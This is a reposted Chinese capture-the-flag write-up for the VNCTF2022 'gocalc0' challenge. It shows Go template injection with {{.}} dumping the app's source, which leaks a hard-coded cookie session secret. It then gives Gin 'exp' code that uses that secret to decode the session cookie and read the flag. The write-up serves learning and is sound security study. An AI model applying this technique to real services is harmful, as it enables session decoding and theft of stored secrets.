[VNCTF2022]gocalc0复现

admin 2022年5月7日23:25:52CTF专场评论2 views4465字阅读14分53秒阅读模式

[VNCTF2022]gocalc0复现

本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:H3h3QAQ


这道题当时出了非预期,session两次base64就能getflag,但是这道题本身的考点是Golang SSTI,正好复盘学习一下。
 
打开题目能看到经典计算器。
[VNCTF2022]gocalc0复现
点开flag在这里发现只有短短一行提示
[VNCTF2022]gocalc0复现
flag is in your session

这里按照非预期接还是能够拿到flag。
 
[VNCTF2022]gocalc0复现
 
但是我们要看一下具体按照预期方法怎么能拿到flag。
 
[VNCTF2022]gocalc0复现
https://www.jianshu.com/p/e0ffb76ba7e9

这里我们通过{{.}}查看一下作用域。
[VNCTF2022]gocalc0复现
 
整理一下,就能够看到整个calc的源码。
package main import (    _ "embed"    "fmt"    "os"    "reflect"    "strings"    "text/template"     "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "github.com/maja42/goval") var tpl string //go:embed main.govar source string type Eval struct {    E string `json:"e" form:"e" binding:"required"`} func (e Eval) Result() (string, error) {    eval := goval.NewEvaluator()    result, err := eval.Evaluate(e.E, nil, nil)    if err != nil {        return "", err    }    t := reflect.ValueOf(result).Type().Kind()     if t == reflect.Int {        return fmt.Sprintf("%d", result.(int)), nil    } else if t == reflect.String {        return result.(string), nil    } else {        return "", fmt.Errorf("not valid type")    }} func (e Eval) String() string {    res, err := e.Result()    if err != nil {        fmt.Println(err)        res = "invalid"    }    return fmt.Sprintf("%s = %s", e.E, res)} func render(c *gin.Context) {    session := sessions.Default(c)     var his string     if session.Get("history") == nil {        his = ""    } else {        his = session.Get("history").(string)    }     fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))    t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))    if err != nil {        fmt.Println(err)        c.String(500, "internal error")        return    }    if err := t.Execute(c.Writer, map[string]string{        "s0uR3e": source,    }); err != nil {        fmt.Println(err)    }}func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8080"    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/", func(c *gin.Context) {        render(c)    })    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        session.Set("FLAG", os.Getenv("FLAG"))        session.Save()        c.String(200, "flag is in your session")    })     r.POST("/", func(c *gin.Context) {        session := sessions.Default(c)         var his string         if session.Get("history") == nil {            his = ""        } else {            his = session.Get("history").(string)        }        eval := Eval{}        if err := c.ShouldBind(&eval); err == nil {            his = his + eval.String() + "<br/>"        }        session.Set("history", his)        session.Save()        render(c)    })    r.Run(fmt.Sprintf(":%s", port))}

这里有很多东西,我们可以进行一下删减整理(对我们getflag没什么用处),提取出我们想要的东西。
package main import (    _ "embed"    "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "os") func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8888" //这个port可以自己指定奥    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        c.String(200, session.Get("FLAG").(string))    })    r.Run(":8888")}

注意下这里:
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))

这里是创建基于cookie的存储引擎,woW_you-g0t_sourcE_co6e参数是用于加密的密钥。
 
然后是这里:
c.String(200, session.Get("FLAG").(string))

session.Get("FLAG")这里是gin框架中的读取session,而他指定了FLAG这个key(session是键值对格式数据,因此需要通过key查询数据),所以我们可以尝试本地起这个gin框架,修改一下代码,并且把题目中的session传入cookie,看看他最终会输出什么。
 
exp:
package mainimport (    _ "embed"    "fmt"    "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "os")func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8888" //这个port可以自己指定奥    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        b := session.Get("FLAG")        fmt.Println(b)    })    r.Run(":8888")}

结果如下:
 
[VNCTF2022]gocalc0复现
 
成功解密出flag。
 
但是这里有个问题。
c.String(200, session.Get("FLAG").(string))

笔者在写exp的时候,对String()产生了疑惑(我的Golang水平停留在Hello world水平),如果exp这样写他会直接输出在界面上。
r.GET("/flag", func(c *gin.Context) {    session := sessions.Default(c)    c.String(200, session.Get("FLAG").(string))})

出于好奇,我跟进了一下。
[VNCTF2022]gocalc0复现
 
这里给了注释,我蹩脚的翻译一下
String()会把给定的字符串写入响应体中

跟进Render。
[VNCTF2022]gocalc0复现
Render() 写入响应头并调用render。并且渲染出来

这里就明了了,shit我根本不用改代码啊!!!直接让他渲染出来就好了!!
 
so,我们验证一下:
package main import (    _ "embed"    "github.com/gin-contrib/sessions"    "github.com/gin-contrib/sessions/cookie"    "github.com/gin-gonic/gin"    "os") func main() {    port := os.Getenv("PORT")    if port == "" {        port = "8888" //这个port可以自己指定奥    }    r := gin.Default()    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))    r.Use(sessions.Sessions("session", store))    r.GET("/flag", func(c *gin.Context) {        session := sessions.Default(c)        c.String(200, session.Get("FLAG").(string))        c.String(200, "nThis is H3h3QAQ")    })    r.Run(":8888")}

结果如下:
[VNCTF2022]gocalc0复现
 又是学到了新知识的一天!



[VNCTF2022]gocalc0复现


看雪ID:H3h3QAQ

https://bbs.pediy.com/user-home-921448.htm

*本文由看雪论坛 H3h3QAQ 原创,转载请注明来自看雪社区


[VNCTF2022]gocalc0复现

# 往期推荐

1.CVE-2018-8120提权漏洞学习笔记

2.2022 CTF babyarm 内核题目详细分析

3.Go解析

4.IoT设备获取本地shell权限并进行软件调试

5.刚入行时分析的病毒重现

6.记一次新型变种QakBot木马分析



[VNCTF2022]gocalc0复现



[VNCTF2022]gocalc0复现

球分享

[VNCTF2022]gocalc0复现

球点赞

[VNCTF2022]gocalc0复现

球在看



[VNCTF2022]gocalc0复现

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):[VNCTF2022]gocalc0复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月7日23:25:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  [VNCTF2022]gocalc0复现 http://cn-sec.com/archives/985105.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: